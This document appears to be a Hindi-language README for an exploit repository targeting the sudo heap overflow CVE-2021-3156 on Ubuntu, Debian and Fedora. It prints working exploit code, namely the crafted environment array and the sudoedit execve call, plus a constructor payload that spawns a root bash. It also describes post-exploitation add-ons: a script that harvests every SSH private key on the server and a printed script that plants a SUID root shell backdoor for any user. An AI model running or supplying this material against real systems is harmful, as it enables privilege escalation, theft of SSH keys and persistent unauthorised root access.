
Ubuntu 20.04 के लिए CVE-2021-3156 का उपयोग करने वाला एक्सप्लॉइट, जिसे पोस्ट-एक्सप्लॉइटेशन स्क्रिप्ट के साथ उन्नत किया गया है
Ubuntu 20.04 के लिए एक्सप्लॉइट जो CVE-2021-3156 का उपयोग करता है, जिसे सरल और स्वचालित पोस्ट-एक्सप्लॉइटेशन स्क्रिप्ट्स के साथ बेहतर बनाया गया है
रूट शेल के अलावा आपके पास ये हो सकते हैं:
-एक .txt फ़ाइल जिसमें सर्वर पर कॉन्फ़िगर की गई सभी id_rsa ssh कुंजियाँ हों। स्क्रिप्ट देखें: get_all_ssh_keys.sh
-एक privshell एक्ज़ीक्यूटेबल जो किसी भी उपयोगकर्ता को रूट शेल शुरू करने की अनुमति देता है (gcc त्रुटि को ठीक करने पर काम चल रहा है)। स्क्रिप्ट देखें: create_privshell.sh
सफल परिणाम पाने के लिए, यह आवश्यक है कि पीड़ित मशीन में OS और Sudo के निम्नलिखित संस्करणों में से एक हो:
-Ubuntu 20.04 (Sudo 1.8.31)
-Debian 10 (Sudo 1.8.27)
-Fedora 33 (Sudo 1.9.2)

अपनी VM को संवेदनशील बनाने के लिए, मैंने निम्नलिखित कमांड से sudo का अपना संस्करण डाउनग्रेड किया:
$ sudo apt install sudo=1.8.31-1ubuntu1
एक्सप्लॉइट तब तक काम कर सकता है जब तक पीड़ित सिस्टम तक पहुँच बिना काफी विशेषाधिकारों वाले उपयोगकर्ता के साथ प्राप्त की जाती है।

आप रेपो को पीड़ित की मशीन पर या अपनी लोकल मशीन पर क्लोन कर सकते हैं और इसे wget के साथ लोड कर सकते हैं।

कमांड "make" निष्पादित करें ताकि भेद्यता के अनुसार .c फ़ाइलों को कंपाइल किया जा सके।

आपको एक्सप्लॉइट फ़ाइल मिलेगी, इसलिए आप इसे "./" के साथ चला सकते हैं। एक्सप्लॉइट चलाने के बाद, हम अब रिपॉजिटरी में दो फ़ाइलें जनरेट होते देख सकते हैं, एक जिसमें सिस्टम पर पंजीकृत सभी ssh कुंजियाँ होती हैं और दूसरी जिसमें SUID एक्ज़ीक्यूटेबल फ़ाइल होती है जो सभी उपयोगकर्ताओं को रूट सत्र प्रदान करती है। (बैंगनी रंग में हाइलाइट किया गया)

आपको निम्नलिखित जैसी त्रुटि दिख सकती है:

मैं अभी भी त्रुटि को हल करने की कोशिश कर रहा हूँ, लेकिन मुझे लगता है कि यह वह शेल है जो एक्सप्लॉइट को जनरेट करता है। मैंने उचित अनुमतियों वाले उपयोगकर्ता से sudo su के साथ रूट तक पहुँच कर ./create_privshell.sh कमांड चलाने की कोशिश की और स्क्रिप्ट का कंपाइलेशन ठीक था। वैकल्पिक रूप से इसे किसी अन्य मशीन पर कंपाइल करके पीड़ित मशीन पर कॉपी किया जा सकता है, इसीलिए wget अनुरोध का अस्तित्व है।
कंपाइल करने के लिए स्क्रिप्ट निम्नलिखित है:
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell
अब आप सभी ssh कुंजियों वाली .txt फ़ाइलें पढ़ सकते हैं और जब तक मैं gcc त्रुटि को ठीक नहीं कर देता, तब तक privshell का उपयोग कर सकते हैं।

Qualys द्वारा खोजा गया
CVSS स्कोर 7.8
CVE-2021-3156, जिसे "Baron Samedit" भेद्यता के रूप में भी जाना जाता है, एक सुरक्षा भेद्यता है जो Unix-आधारित ऑपरेटिंग सिस्टम पर व्यापक रूप से उपयोग किए जाने वाले sudo प्रोग्राम को प्रभावित करती है। Sudo एक प्रोग्राम है जो उपयोगकर्ताओं को उच्च विशेषाधिकारों के साथ कमांड चलाने की अनुमति देता है, आमतौर पर अपना स्वयं का पासवर्ड या रूट पासवर्ड दर्ज करके। यह भेद्यता sudo कमांड की "sudoedit" सुविधा में बफर ओवरफ्लो समस्या के कारण होती है, जो उपयोगकर्ताओं को उच्च विशेषाधिकारों के साथ फ़ाइलों को संपादित करने की अनुमति देती है। यह भेद्यता पहली बार जनवरी 2021 में Qualys Research Labs द्वारा खोजी गई थी, और यह sudo संस्करण 1.8.2 से 1.8.31p2 और 1.9.0 से 1.9.5p1 को प्रभावित करती है।
###बहुत ही तकनीकी विवरण जानकारी: Qualys



दूसरे शब्दों में, set_cmnd() एक हीप-आधारित बफर ओवरफ्लो के प्रति संवेदनशील है, क्योंकि "user_args" बफर में कॉपी किए गए आउट-ऑफ-बाउंड वर्ण उसके आकार में शामिल नहीं थे (पंक्तियों 852-853 पर गणना की गई)।
ओवरफ्लो वाले हिस्से के लिए, मैंने redhawkeye/sudo-exploit की exploit.c फ़ाइल का उपयोग किया।
यह थोड़ा जटिल है लेकिन आसानी से समझा जा सकता है।
char *env[] = {
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"X/X",
concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
NULL
};
यह भाग पर्यावरण चर env की एक सरणी घोषित करता है जिसे execve सिस्टम कॉल में पारित किया जाएगा। पर्यावरण चर में बैकस्लैश की एक श्रृंखला और LC_ALL नामक एक विशेष रूप से तैयार किया गया चर होता है, जिसका मान "C.UTF-8@" है, जो 208 (0xd0) 'A' वर्णों के साथ संयोजित है। C.UTF-8@ मान sudoedit कमांड को LC_ALL पर्यावरण चर के रूप में पारित किया जाएगा। 208 'A' वर्णों का उपयोग sudoedit प्रोग्राम में बफर को ओवरफ्लो करने और मनमाना कोड निष्पादित करने के लिए किया जाता है।
char * a = concat(str_repeat('A', 0x70),"\\");
char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
execve(argv[0], argv, env);
यह भाग एक चर a घोषित करता है जिसमें 112 (0x70) 'A' वर्णों की एक स्ट्रिंग होती है, जिसके बाद एक बैकस्लैश होता है। फिर यह एक सरणी argv घोषित करता है जिसे execve को पारित किया जाएगा। सरणी में sudoedit कमांड (/usr/bin/sudoedit) का पथ, -s फ़्लैग और ऊपर बनाया गया चर a होता है।
execve(argv[0], argv, env);
यह वास्तविक execve सिस्टम कॉल है जो प्रदान किए गए तर्कों और पर्यावरण चर के साथ sudoedit कमांड को चलाता है। sudoedit प्रोग्राम LC_ALL पर्यावरण चर को पढ़ेगा और इसे फ़ाइल पथ के रूप में पार्स करने का प्रयास करेगा। ओवरफ्लो करने वाले 'A' वर्णों का उपयोग मेमोरी में मनमाना डेटा लिखने और संभावित रूप से मनमाना कोड निष्पादित करने के लिए किया जाएगा।
तो RCE के लिए मेमोरी में आरक्षित यह डेटा हमारी फ़ाइल shell_tool.c द्वारा उपयोग किया जाएगा।
__attribute((constructor))
static void sice() {
setuid(0);
system("command");
...
system("bash");